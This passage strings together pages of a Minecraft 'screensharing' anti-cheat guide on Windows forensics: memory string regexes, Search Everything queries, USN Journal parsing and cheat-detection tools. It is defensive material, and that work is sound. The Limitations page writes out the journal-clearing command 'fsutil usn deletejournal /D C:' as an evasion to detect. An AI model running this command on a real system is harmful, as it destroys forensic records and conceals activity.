documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/specific-processes-to-analyze-and-search-patterns/2-csrssexe.md) . * **Function:** A critical, core Windows process responsible for managing console windows (like Command Prompt), creating and deleting threads, and handling parts of the graphical subsystem. Due to its low-level operations, its memory often contains **logged paths** of executed files (`.exe`) and loaded libraries (`.dll`). * **Accessibility Issues:** As a protected system process, accessing `csrss.exe` memory often requires **administrator privileges** and the **Kernel Mode Driver** enabled in System Informer. Antivirus software can sometimes interfere, and access might be restricted on heavily locked-down systems or specific Windows builds. There are typically two instances of `csrss.exe` running. * **Filtering Logic (Multiple Instances):** When analyzing the two `csrss.exe` instances: * For finding executed `**.exe**` **files (with standard extensions)**, focus analysis on the instance with **fewer** private bytes. * For finding **loaded/injected** `**.dll**` **files** OR `**.exe**` **files with spoofed/changed extensions**, focus analysis on the instance with **more** private bytes. * **Common Search Patterns (Regex, case-insensitive):** * `^[A-Z]:\\.+.exe$`: Finds full paths ending specifically in `.exe`. Primarily used on the instance with _fewer_ private bytes. * `^[A-Z]:\\.+.dll$`: Finds full paths ending specifically in `.dll`. Primarily used on the instance with _more_ private bytes. **Crucial for detecting standard DLL injections.** Pay close attention to _unsigned_ DLLs found with this pattern. * `^(?:\\\\\?\\)?[A-Za-z]:\\.+$`: A broader pattern to find full paths with _any_ or _no_ extension. Useful on the instance with _more_ private bytes when searching for executables disguised with fake extensions (e.g., `.tmp`, `.png`) or extensionless files launched via specific methods. Can also help find DLLs. [Previousexplorer.exe (Windows Explorer)](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/specific-processes-to-analyze-and-search-patterns/1-explorerexe) [NextPlugPlay Service (Sometimes shown under DCOMLaunch)](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/specific-processes-to-analyze-and-search-patterns/3-plugplay-service) Last updated 1 year ago --- # LastActivityView: Artifact Aggregation | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/lastactivityview-artifact-aggregation.md) . _LastActivityView_ is another valuable free utility from Nirsoft. Its primary function is to **aggregate and display user activity information gathered from multiple different Windows artifacts** into a single, chronologically sorted interface. Instead of manually checking Prefetch, then various Registry keys, then Event Logs separately, LastActivityView attempts to consolidate recent activity traces from these disparate sources into one view. [PreviousTroubleshooting and Evasion Detection](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/windows-prefetch-analysis/troubleshooting-and-evasion-detection) [NextData Sources](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/lastactivityview-artifact-aggregation/data-sources) Last updated 1 year ago --- # PcaSvc (Program Compatibility Assistant Service) | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/specific-processes-to-analyze-and-search-patterns/5-pcasvc.md) . * **Function:** This service assists with running older applications but also logs execution data, complementing the `explorer.exe` PCA client strings. * **Identifying the Process:** Locate the `svchost.exe` instance hosting the "PcaSvc" service. * **Common Search Patterns:** * `jar` (Contains, case-insensitive - note: **no dot**): Searching for the string "jar" (rather than ".jar") within PcaSvc memory can sometimes reveal executions of `.jar` files, potentially including those launched via `java -jar` with spoofed extensions (as the command line itself might contain "jar"). Complements the PlugPlay search. * Specific executable names (Contains, case-insensitive): Searching directly for known cheat executable filenames. [Previoussvchost.exe (-s dps) (Diagnostic Policy Service)](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/specific-processes-to-analyze-and-search-patterns/4-svchostexe) [NextOther Relevant Processes](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/specific-processes-to-analyze-and-search-patterns/6-other-relevant-processes) Last updated 1 year ago --- # Journal Analysis (JournalTrace / Echo Easy Journal Viewer) | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/journal-analysis.md) . Analyzing the NTFS USN Journal is a powerful technique for understanding the history of file system activity on a volume, often revealing actions that other artifacts might miss, especially deletions and renames. [PreviousUsage in ScreenSharing](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/search-everything-rapid-file-system-search/usage-in-screensharing) [NextThe USN Journal ( $UsnJrnl )](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/journal-analysis/the-usn-journal) Last updated 1 year ago --- # Usage in ScreenSharing | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/search-everything-rapid-file-system-search/usage-in-screensharing.md) . Search Everything is a versatile tool used throughout a screenshare for various investigative tasks: * **Locating Specific Files:** Quickly find files by exact name (e.g., known cheat filenames like `vape.exe`, `kurium.dll`) or partial name using wildcards (e.g., `*clicker*.exe`, `raven?.jar`). * **Identifying Recent Activity (Sorting & Filtering):** * **Sort by Date Modified:** This is arguably the **most crucial function**. Sorting the entire filesystem view by "Date Modified" (descending) instantly brings the most recently changed or created files to the top, allowing quick identification of items potentially related to the current session (e.g., downloaded cheats, extracted archives, newly created logs or configs). This is often the default view ScreenSharers use. * _Filter by Date:_ Combine sorting with date filters like `dm:today`, `dm:yesterday`, `dm:last7days` to narrow down results to specific timeframes. * _Filter by Size:_ Locate files within specific size ranges known to be common for certain types of cheats (e.g., `size:1mb..20mb`). * _Filter by Extension:_ Include or exclude specific file types (e.g., `ext:exe`, `ext:dll`, `ext:jar`, `!ext:log` to exclude log files). * _Combine Filters:_ Create powerful queries like `dm:today !ext:pf !ext:log size:>1mb path:downloads` (find files modified today, not prefetch or log files, larger than 1MB, within the Downloads path). * **Detecting Hidden or Unusual Files:** * _Unicode/Obfuscated Names:_ Use regex searches to find filenames containing non-standard or potentially problematic Unicode characters: `regex:[^\x00-\x7F]` (finds non-ASCII characters). * _Extensionless Files:_ Search specifically for files lacking any extension, which can sometimes be used to disguise executables launched via methods like WMIC or specific scripts. Use the filter `ext:` (note the space is important) potentially combined with size filters: `size:1mb..25mb ext:`. * _Hidden/System Files:_ Use attribute filters like `attrib:h` (hidden), `attrib:s` (system), or `attrib:hs` (both). * **Content Searching (Use Sparingly):** * Search _inside_ files for specific text strings. This is very powerful but significantly slower than filename searching as it requires reading file contents. * _Example:_ `content:"cheat_feature_flag" ext:cfg` searches configuration files for a specific cheat setting. * _Example (Detecting Renamed Exes):_ `dm:today size:1mb..20mb !ext:exe !ext:dll content:"This program cannot be run in DOS mode."` searches recent, reasonably sized non-exe/dll files for the standard PE header string, potentially revealing executables disguised with fake extensions. * **File Previews:** Pressing `ALT+P` toggles a preview pane, allowing quick inspection of the contents of common file types (text, images, sometimes PDFs) without needing to open them in their default application, saving time and reducing the risk of accidentally executing something. * **Live File System Monitoring:** Because Search Everything monitors the USN Journal in real-time (if the service is running), it effectively acts as a **live feed** of file system changes (creations, deletions, renames) occurring _while it is running_. This can sometimes catch a user attempting to delete files mid-screenshare. Mastery of Search Everything's filtering and sorting capabilities significantly speeds up file location and anomaly detection during screenshares. [PreviousCore Features](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/search-everything-rapid-file-system-search/core-features) [NextJournal Analysis (JournalTrace / Echo Easy Journal Viewer)](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/journal-analysis) Last updated 1 year ago --- # Core Features | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/search-everything-rapid-file-system-search/core-features.md) . * **Near-Instant Indexing:** Upon first launch, it rapidly scans the Master File Table (MFT) of NTFS volumes to build a lightweight index of all filenames and paths. It then monitors the USN Journal to keep this index updated in **real-time** as files are created, deleted, moved, or renamed. * **Lightning-Fast Searching:** Searches based on filenames, paths, or parts thereof return results almost instantly, even across terabytes of data. * **Low Resource Usage:** Consumes minimal CPU and RAM during both indexing and searching operations, making it suitable for use even on lower-end systems without significant performance impact. * **Powerful Search Syntax:** Supports much more than simple keyword searching: * Boolean operators (`AND`, `OR`, `NOT` represented by space, `|`, `!` respectively). * Wildcards (`*` for multiple characters, `?` for a single character). * Regular Expressions (regex) for complex pattern matching. * Specific filters for file size (`size:`), date (`dm:` for modified, `dc:` for created, `da:` for accessed), attributes (`attrib:`), paths (`path:`), extensions (`ext:`), and even file content (`content:` though this is much slower). [PreviousSearch Everything: Rapid File System Search](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/search-everything-rapid-file-system-search) [NextUsage in ScreenSharing](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/search-everything-rapid-file-system-search/usage-in-screensharing) Last updated 1 year ago --- # The USN Journal ( $UsnJrnl ) | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/journal-analysis/the-usn-journal.md) . The _Update Sequence Number (USN) Journal_ is an integral feature of the NTFS file system. It functions as a chronological log that meticulously records changes made to files and directories on the volume it resides on. * **Location & Structure:** The Journal data itself is stored within a specific Alternate Data Stream named `$J`, which is part of the hidden system metafile `$Extend\$UsnJrnl` located at the root of the NTFS volume (e.g., `C:\$Extend\$UsnJrnl`). Another stream, `$Max`, stores metadata about the journal itself. * **Purpose:** Its primary system function is to allow applications (like indexing services, backup software, or replication engines) to efficiently track changes without needing to scan the entire volume. Forensically, it provides a detailed history of file operations. * **Logged Information:** Each entry (USN Record) in the `$J` stream typically logs: * A precise **Timestamp** of the event. * The **Filename** affected. * The **File Reference Number (FRN)** and the Parent FRN (linking the file to its directory and MFT record). * One or more **Reason Codes**, indicating the type(s) of change(s) that occurred (e.g., `FILE_CREATE`, `FILE_DELETE`, `RENAME_OLD_NAME`, `RENAME_NEW_NAME`, `DATA_OVERWRITE`, `BASIC_INFO_CHANGE`, `STREAM_CHANGE`, `CLOSE`). Understanding these codes is key to interpretation. * File attributes at the time of the event. * Source information (distinguishing user data changes from OS data management). * **Persistence:** Crucially, the Journal often retains records for files **even after they have been deleted** from the file system (until the Journal wraps around or is cleared). This makes it invaluable for proving the prior existence and deletion of files. [PreviousJournal Analysis (JournalTrace / Echo Easy Journal Viewer)](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/journal-analysis) [NextGUI Parsing Tools](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/journal-analysis/gui-parsing-tools) Last updated 1 year ago --- # Application in ScreenSharing | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/journal-analysis/application-in-screensharing.md) . Analyzing the USN Journal is **essential** for uncovering hidden activities and confirming file operations: * **Tracking File Lifecycles:** See the exact sequence of events for a file: when it was created, potentially renamed (logging both old and new names), modified (content changes via `DATA_OVERWRITE`/`EXTEND`, attribute changes via `BASIC_INFO_CHANGE`), and finally deleted (`FILE_DELETE`). This is critical for reconstructing the history of suspicious files. * **Detecting Deletions:** Provides definitive proof of file deletion, including the exact time. Essential for confirming the removal of cheats, logs (`.log`), Prefetch files (`.pf`), macros (`.xml`, `.json`, specific extensions), or any other suspicious item shortly before or during the screenshare. * **Finding Renamed Files:** Identifies if a suspicious file (e.g., `cheat.exe`) was renamed to something innocuous (e.g., `notes.txt`). Look for pairs of `RENAME_OLD_NAME` and `RENAME_NEW_NAME` events with matching timestamps and FRNs but different filenames. * **Identifying Attribute Manipulation:** The `BASIC_INFO_CHANGE` reason code is crucial for detecting: * _Timestomping Attempts:_ Altering file timestamps generates this event. * _Read-Only Attribute Bypass:_ Applying the Read-Only attribute to artifacts like Prefetch files (`.pf`) to prevent timestamp updates also triggers this event. Finding `BASIC_INFO_CHANGE` on `.pf` files is highly suspicious. * **Tracking Data Modification:** Events like `DATA_OVERWRITE` or `DATA_EXTEND` indicate changes to file content, potentially correlating with hex editing or saving configuration changes within cheats. * **Detecting JnativeHook Usage:** Seeing `JnativeHook*.dll` files being created (`FILE_CREATE`) and subsequently deleted (`FILE_DELETE`) in the `%temp%` directory via Journal analysis is a **strong indicator** of certain Java-based autoclickers being executed. * **Verifying Claims/Corroborating Evidence:** Use the Journal to confirm or refute findings from other tools. If LastActivityView shows a recent file access but the file is now gone, the Journal should ideally show the corresponding `FILE_DELETE` event. [PreviousGUI Parsing Tools](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/journal-analysis/gui-parsing-tools) [NextLimitations](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/journal-analysis/limitations) Last updated 1 year ago --- # Limitations | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/journal-analysis/limitations.md) . * **Journal Size/Wrapping:** The USN Journal has a maximum size limit (configurable via `fsutil`, but rarely changed by users). Once this limit is reached, the oldest entries are overwritten by new ones (it "wraps around"). The time span covered by the Journal depends heavily on disk activity levels and the configured size. On very active systems, it might only cover hours or days; on less active systems, it could potentially span weeks or months. * **Journal Clearing:** The Journal _can_ be deliberately deleted using `fsutil usn deletejournal /D C:` (requires admin privileges). This action is **highly suspicious** and itself detectable via: * **Event Logs:** Generates Event ID 3079 in the Application log. * **Journal Metadata:** Tools parsing the Journal (like JournalTrace showing "Oldest Entry" or analyzing `$J`/`$MAX` modification times via FTK Imager/MFTECmd) will show a very recent creation/modification time, indicating it was recently wiped and recreated. * **FAT32/exFAT:** These file systems **do not have a USN Journal**. Journal analysis techniques are completely inapplicable to volumes formatted with FAT32 or exFAT. [PreviousApplication in ScreenSharing](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/journal-analysis/application-in-screensharing) [NextRegedit / Registry Explorer (Registry Viewers - Basic Usage)](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/regedit-registry-explorer) Last updated 1 year ago --- # GUI Parsing Tools | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/journal-analysis/gui-parsing-tools.md) . Directly reading the binary `$J` stream is impractical. Specialized tools are needed to parse it into a human-readable format. * **Command-Line (**`**fsutil.exe**`**):** Windows includes the built-in command-line utility `fsutil.exe` which can directly query the USN Journal. * _Basic Command Structure:_ `fsutil usn readjournal C: csv` (Replace `C:` with the target drive). The `csv` argument outputs the data in a comma-separated format suitable for piping or redirection. * _Filtering with_ `_findstr_`_:_ The output is often piped (`|`) to the `findstr.exe` utility for filtering. Common `findstr` flags include: * `/i`: Case-insensitive search. * `/C:"search string"`: Searches for a literal string. Multiple `/C` flags act like an OR condition. * `/R`: Interprets the search string as a Regular Expression (Regex). * _Output Redirection:_ Results can be saved to a file using `> output.txt`. * _Example (Finding specific reason codes for executables/prefetch files):_ Copy fsutil usn readjournal c: csv | findstr /i /C:"0x80000200" /C:"0x00001000" /C:"0x00002000" | findstr /i /C:".exe\"" /C:".pf\"" > filtered_journal.txt (This searches for FileDelete, RenameOld, RenameNew reasons and filters for lines ending in `.exe"` or `.pf"`). * _Note:_ Requires administrative privileges. Crafting effective `fsutil` commands requires understanding the reason codes and `findstr` syntax. * **GUI Parsing Tools:** Several graphical tools offer a more user-friendly interface for Journal analysis. * **JournalTrace (Ponei/Spokwn):** * _Functionality:_ A free, dedicated GUI tool for parsing and viewing USN Journal entries. Requires administrator privileges. Spokwn's version includes advanced filtering capabilities. * _Workflow:_ Launch -> Select Drive -> Scan Drive -> Switch to "Data Grid" Layout -> Sort/Filter columns. * _Key Features:_ Displays event reason codes clearly, allows easy filtering by column content (Name, Reason, Path), shows the timestamp of the "Oldest Entry" (useful for detecting recent clearing), potentially resolves file IDs better than basic tools. Advanced filters in Spokwn's version support AND (`&&`), OR (`||`), NOT (`!!`), and multi-column filtering. * **Echo Easy Journal Viewer (Echo):** * _Functionality:_ Another free GUI tool from the Echo team, designed for simplicity and ease of use. * _Interface:_ Features pre-defined buttons for common filters ("Deleted," "Created," "Renamed"). Allows sorting by columns (Timestamp, Name, etc.) and basic column filtering. Parses all NTFS drives at once. * _Use:_ Good for beginners or quick checks of common events like deletions or renames. [PreviousThe USN Journal ( $UsnJrnl )](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/journal-analysis/the-usn-journal) [NextApplication in ScreenSharing](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/journal-analysis/application-in-screensharing) Last updated 1 year ago --- # Regedit / Registry Explorer (Registry Viewers - Basic Usage) | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/regedit-registry-explorer.md) . Effectively navigating and interpreting the Windows Registry is a key skill for manual screensharing. [PreviousLimitations](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/journal-analysis/limitations) [NextUnderstanding the Windows Registry](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/regedit-registry-explorer/understanding-the-windows-registry) Last updated 1 year ago --- # Tools | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/rancios-tools/tools.md) . * **DoomsDay Client Finder (**`**DDFO.exe**`**):** A targeted tool designed to detect the presence of the "DoomsDay" Minecraft cheat client internally. The provided text notes it was tested specifically on version 1.16.5. * **Unicode Detector (**`**Unicode.exe**`**):** This tool focuses on finding files that use Unicode characters in their names, particularly targeting suspicious file types like executables and DLLs. Unicode characters can be used to disguise file names or bypass simple string-matching detections. * **Ocean SS Tool:** While a full SS Tool, it's linked to Rancio and mentioned as the free successor to the Golden SS Tool. It's a comprehensive scanner for Minecraft (free) and other games (paid), featuring a web dashboard, pin system for initiating scans, integration with VirusTotal/Hybrid Analysis, detection of various cheats and bypass methods (including Task Scheduler, VMs), and detailed scan result reporting (logs, process times, etc.). It's noted for being particularly adept at detecting bypass methods. * **GlobalLister:** A utility that queries the system's DeviceID, likely against an online database, to retrieve the original product name and specifications of hardware components. This could potentially help identify spoofed or unusual hardware. * **Maceta (**`**maceta.exe**`**):** This tool leverages the VirusTotal API to specifically check unsigned executable files for maliciousness. It requires a VirusTotal API key and is often used in conjunction with a dump of process strings (like from `csrss.exe`) to identify and verify suspicious unsigned executables found in memory. * **Hinting at Detection:** Each of Rancio's tools provides a focused capability for detection: DDFO targets a specific cheat, Unicode Detector finds suspiciously named files, Ocean offers broad cheat and bypass scanning, GlobalLister verifies hardware identity, and Maceta uses external intelligence (VirusTotal) to verify unsigned executables. [PreviousRancio's Tools](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/rancios-tools) [NextEcho's Tools](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/echos-tools) Last updated 1 year ago --- # Mouse, Macro, and Input Analysis | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-minecraft-knowledge/sixth-section-mouse-macro-and-input-analysis-in-screensharing.md) . Analyzing a player's mouse configuration, potential macro usage, and specific input settings forms a **crucial component** of many screenshares, particularly in games where rapid or specific input patterns can confer significant advantages. This is especially pertinent in environments like Minecraft PvP, where achieving high Clicks-Per-Second (CPS) is often perceived as beneficial, leading players to explore methods beyond standard clicking – some legitimate, some violating server rules. Cheaters may leverage both third-party software (often explicitly banned) and features built into their gaming mouse's proprietary software or hardware to automate actions or exploit hardware characteristics for unfair gain. This section details common areas of investigation related to mouse input during screenshares. [PreviousJavaedit - Detection via Hash/Content](https://itzicehere.gitbook.io/redlotusguide/screensharing-minecraft-knowledge/fifth-section-specific-context-minecraft/specific-analysis-for-minecraft/javaedit-detection-via-hashcontent) [NextUnderstanding Mouse Input Manipulation](https://itzicehere.gitbook.io/redlotusguide/screensharing-minecraft-knowledge/sixth-section-mouse-macro-and-input-analysis-in-screensharing/1-understanding-mouse-input-manipulation) Last updated 1 year ago --- # Understanding Mouse Input Manipulation | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-minecraft-knowledge/sixth-section-mouse-macro-and-input-analysis-in-screensharing/1-understanding-mouse-input-manipulation.md) . Minecraft stands out as one of the few games where raw click speed can directly influence gameplay outcomes (e.g., bridging, hit registration in PvP). This focus on CPS incentivizes players to constantly seek methods to click faster. While some techniques are legitimate exercises of skill (like jitter clicking or standard butterfly clicking on standard hardware), others involve exploiting hardware features or using external software in ways that many communities deem unfair. Consequently, analyzing mouse settings and input methods frequently becomes a point of investigation during screenshares when suspecting autoclickers, unusually high CPS, or other input-based cheats. Key areas of focus include: * _Software Macros:_ Automated input sequences stored in configuration files on the PC, typically managed by the mouse manufacturer's software. * _On-Board Macros:_ Automated input sequences stored directly within the mouse's internal memory, allowing them to function even without the manufacturer's software running. * _Debounce Time:_ A hardware/firmware setting related to how quickly a mouse registers consecutive clicks. Manipulation of this setting (on mice that allow it) is often associated with "mouse abuse" techniques (like specific drag/butterfly clicking methods) to achieve artificially high CPS. * _Third-Party Input Software:_ General-purpose tools like X-Mouse Button Control (XMBC) allow extensive remapping and scripting of mouse inputs. Due to their potential for abuse, such tools are frequently banned outright by competitive servers. (Note: Utilities like Timer Resolution, which adjust system timer precision, are generally _not_ categorized alongside macro or input rebinding software like XMBC in this context). [PreviousMouse, Macro, and Input Analysis](https://itzicehere.gitbook.io/redlotusguide/screensharing-minecraft-knowledge/sixth-section-mouse-macro-and-input-analysis-in-screensharing) [NextMacro Analysis](https://itzicehere.gitbook.io/redlotusguide/screensharing-minecraft-knowledge/sixth-section-mouse-macro-and-input-analysis-in-screensharing/2-macro-analysis) Last updated 1 year ago --- # Echo's Tools | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/echos-tools.md) . This refers to a suite of free, standalone utilities provided by the Echo SS Tool team, designed to assist with specific manual analysis tasks during a ScreenShare, complementing their main automated scanner. [PreviousTools](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/rancios-tools/tools) [NextTools](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/echos-tools/tools-mentioned) Last updated 1 year ago --- # Reviewing Ban Policies | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/ban-evasion-and-alt-account-detection/reviewing-ban-policies.md) . Crucially, actions taken for ban evasion **must strictly adhere to the server's clearly defined policies**. Before attempting to identify or issue a ban for evasion, ScreenSharers _must_ be familiar with their server's rules on: * What specifically constitutes ban evasion (e.g., Is using any alt account forbidden? Only after an HWID ban? Is VM usage considered evasion?). * What specific types and combinations of evidence are considered sufficient proof (e.g., HWID match required? Username found in logs sufficient? Multiple correlated artifacts needed?). * The appropriate consequences for confirmed ban evasion (e.g., permanent ban of the new account and associated HWID, temporary ban, warning). **Operating outside these established rules or relying on assumptions ("This player feels like the banned player X") is unacceptable.** Bans for evasion must meet the server's defined evidentiary threshold. [PreviousIdentifying Alternate Accounts During ScreenShare](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/ban-evasion-and-alt-account-detection/identifying-alternate-accounts-during-screenshare) [NextImportance of Documentation and Evidence](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/ban-evasion-and-alt-account-detection/importance-of-documentation-and-evidence) Last updated 1 year ago --- # Minecraft Architecture and Analysis | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-minecraft-knowledge/fifth-section-specific-context-minecraft.md) . While the previous sections covered general Windows artifacts and techniques applicable to many scenarios, screensharing often occurs within the context of specific games that have their own technical nuances. Minecraft, being one of the most popular platforms where screenshares are conducted, presents unique challenges and requires specialized knowledge due to its architecture and modification capabilities. This section delves into the specifics of the Minecraft environment relevant to effective cheat detection. [PreviousImportance of Documentation and Evidence](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/ban-evasion-and-alt-account-detection/importance-of-documentation-and-evidence) [NextMinecraft and Java](https://itzicehere.gitbook.io/redlotusguide/screensharing-minecraft-knowledge/fifth-section-specific-context-minecraft/minecraft-and-java) Last updated 1 year ago --- # Rancio's Tools | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/rancios-tools.md) . This refers to a collection of specific, often standalone tools developed by Rancio (a prominent figure in the ScreenShare community, now associated with Ocean SS Tool) to address particular detection needs during ScreenShares. [PreviousActivitiesCache Script](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/spoks-tools/activitiescache-script) [NextTools](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/rancios-tools/tools) Last updated 1 year ago --- # Javaedit - Detection via Hash/Content | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-minecraft-knowledge/fifth-section-specific-context-minecraft/specific-analysis-for-minecraft/javaedit-detection-via-hashcontent.md) . _Javaedit_ refers to a category of cheats where the core Minecraft vanilla `.jar` file itself (not a mod) has been directly modified at the bytecode level to incorporate cheats, such as enhanced reach, modified knockback physics, or altered hit detection. These often masquerade as standard vanilla versions within the `versions` folder. * **Primary Detection Method (Hash Comparison):** The **most reliable and definitive** method for detecting Javaedit is identical in principle to the mod hash check. 1. Identify the exact vanilla Minecraft version the player claims to be using (e.g., 1.8.9, 1.16.5). 2. Locate the corresponding core game `.jar` file within the player's active `.minecraft/versions/{version_name}/` directory (e.g., `1.8.9.jar`). 3. Calculate the SHA256 hash of the player's `.jar` file. 4. Obtain the **official SHA256 hash** for the **exact same vanilla Minecraft version** from a trusted source (e.g., official Minecraft resources, reputable community wikis like the Minecraft Wiki on Fandom/Wiki.gg which often list official hashes). 5. Compare the hashes. * **Verification:** Any discrepancy whatsoever between the hash of the player's `.jar` file and the official hash for that specific vanilla version constitutes **absolute proof** that the file has been tampered with and is **not** a legitimate, unmodified vanilla client. This is a direct bannable offense on virtually all servers. Again, ensure you are comparing against the hash of the **exact version number**. [PreviousForge Mod Analysis](https://itzicehere.gitbook.io/redlotusguide/screensharing-minecraft-knowledge/fifth-section-specific-context-minecraft/specific-analysis-for-minecraft/forge-mod-analysis) [NextMouse, Macro, and Input Analysis](https://itzicehere.gitbook.io/redlotusguide/screensharing-minecraft-knowledge/sixth-section-mouse-macro-and-input-analysis-in-screensharing) Last updated 1 year ago --- # Importance of Documentation and Evidence | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/ban-evasion-and-alt-account-detection/importance-of-documentation-and-evidence.md) . Confirming ban evasion often requires connecting multiple pieces of disparate evidence found during the screenshare to build a convincing link between the current player and a past ban. Therefore, **meticulous documentation and evidence preservation are absolutely critical.** ScreenSharers must: * **Record Findings Clearly:** Note down all relevant usernames, UUIDs, file paths, registry keys, HWID information, timestamps, tool outputs, and any other artifacts suggesting alt account usage or evasion techniques. * **Preserve Evidence:** Capture evidence through screenshots, log exports (e.g., from PowerShell scripts or tools), and mandatory video recordings of the entire screenshare process, as per Red Lotus principles and server policy. * **Correlate Evidence:** Explicitly demonstrate the links between findings (e.g., "Username 'BannedPlayer123' found in `accounts.json` file located at `C:\Users\CurrentPlayer456\...`," or "HWID collected by Echo matches HWID associated with banned account 'OldBanEvader' in server database"). * **Reference Policy:** Justify the 